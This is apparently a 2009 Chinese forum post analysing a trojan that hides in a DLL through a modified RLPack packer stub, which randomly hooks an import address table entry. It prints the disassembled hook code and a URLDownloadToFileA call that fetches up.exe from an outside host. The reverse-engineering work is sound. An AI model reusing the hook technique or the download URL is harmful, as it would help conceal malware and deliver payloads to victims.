原帖由 qianwenxiang 于 2009-10-5 11:40 发表 
是...DllMain感染了?
看情况有点像
不是,DLL的主体没做任何的变动。揭晓吧。
强大之处是该木马作者对壳的了解。作者对开源的壳RLPACK1.21FULL版本做了简单的修改。
修改了输入表填充的过程。也就是IAT HOOK。具体看代码:- 10062C42 8D4424 04 lea eax,dword ptr ss:[esp+4]
- 10062C46 60 pushad
- 10062C47 8BF0 mov esi,eax
- 10062C49 8B46 04 mov eax,dword ptr ds:[esi+4]
- 10062C4C C1C0 08 rol eax,8
- 10062C4F 3C 80 cmp al,80
- 10062C51 75 1E jnz short AntiEng.10062C71
- 10062C53 C1C8 08 ror eax,8
- 10062C56 35 00000080 xor eax,80000000
- 10062C5B 3D 00000100 cmp eax,10000 ; UNICODE "=::=::"
- 10062C60 76 1C jbe short AntiEng.10062C7E
- 10062C62 35 00000080 xor eax,80000000
- 10062C67 50 push eax
- 10062C68 FF36 push dword ptr ds:[esi]
- 10062C6A E8 47000000 call AntiEng.10062CB6
- 10062C6F EB 0D jmp short AntiEng.10062C7E
- 10062C71 C1C8 08 ror eax,8
- 10062C74 FF76 04 push dword ptr ds:[esi+4]
- 10062C77 FF36 push dword ptr ds:[esi]
- 10062C79 E8 38000000 call AntiEng.10062CB6
- 10062C7E 50 push eax
- 10062C7F FF36 push dword ptr ds:[esi]
- 10062C81 FF95 72060000 call dword ptr ss:[ebp+672] ;GetProcAddress
- 10062C87 8BF0 mov esi,eax ;下面就是相关的IAT HOOK操作
- 10062C89 0F31 rdtsc ; 取系统时间,也就是随机进行IAT HOOK
- 10062C8B 25 F0000000 and eax,0F0 ; eax=eax and 0x0F0
- 10062C90 C0C8 04 ror al,4 ; 循环右移4位,也就是除2^4
- 10062C93 3C 03 cmp al,3 ; 比较al是否大于3,若大于3,则不进行处理,正常填充
- 10062C95 77 15 ja short AntiEng.10062CAC ; 小于3,则替换所要填充的的输入表的地址,进行IAT HOOK
- 10062C97 83BD BC040000 00 cmp dword ptr ss:[ebp+4BC],0 ; 比较标志位,是否已经修改过。也就是只修改一次。
- 10062C9E 75 0C jnz short AntiEng.10062CAC
- 10062CA0 89B5 BC040000 mov dword ptr ss:[ebp+4BC],esi ; 把真正的地址放到[ebp+4BC]中
- 10062CA6 8DB5 C4040000 lea esi,dword ptr ss:[ebp+4C4] ; 把HOOK的回调函数地址放esi
- 10062CAC 8BC6 mov eax,esi ; 传eax
- 10062CAE 894424 1C mov dword ptr ss:[esp+1C],eax
- 10062CB2 61 popad
- 10062CB3 C2 0800 retn 8
复制代码 修改后的IAT情况为:
1002F06C 10062DFD AntiEng.10062DFD
地址10062DFD就是真正的木马体的地址了。有兴趣的可以过去分析下。
也就是还原原始的的IAT,然后创建个互斥,最后下载木马,如下:- 10062EB9 |. FFD7 call edi ; urlmon.URLDownloadToFileA
- 0013F810 00000000
- 0013F814 10062DA1 ASCII "http://down1.downgr.com/up.exe"
- 0013F818 10062DB9 ASCII "up.exe"
复制代码 而下载下来的木马,就是传说中很流行的感染kernel32.dll的木马了,很强大。有兴趣的自己分析吧。
也就是说,若分析工程师对壳不了解,或者没仔细跟壳流程,只是到OEP了事,然后分析DLL的话,就会认为是正常的文件。更可能在不知不觉中,让你中上了毒。很猥琐吧。
[ 本帖最后由 bugman 于 2009-10-5 12:24 编辑 ] |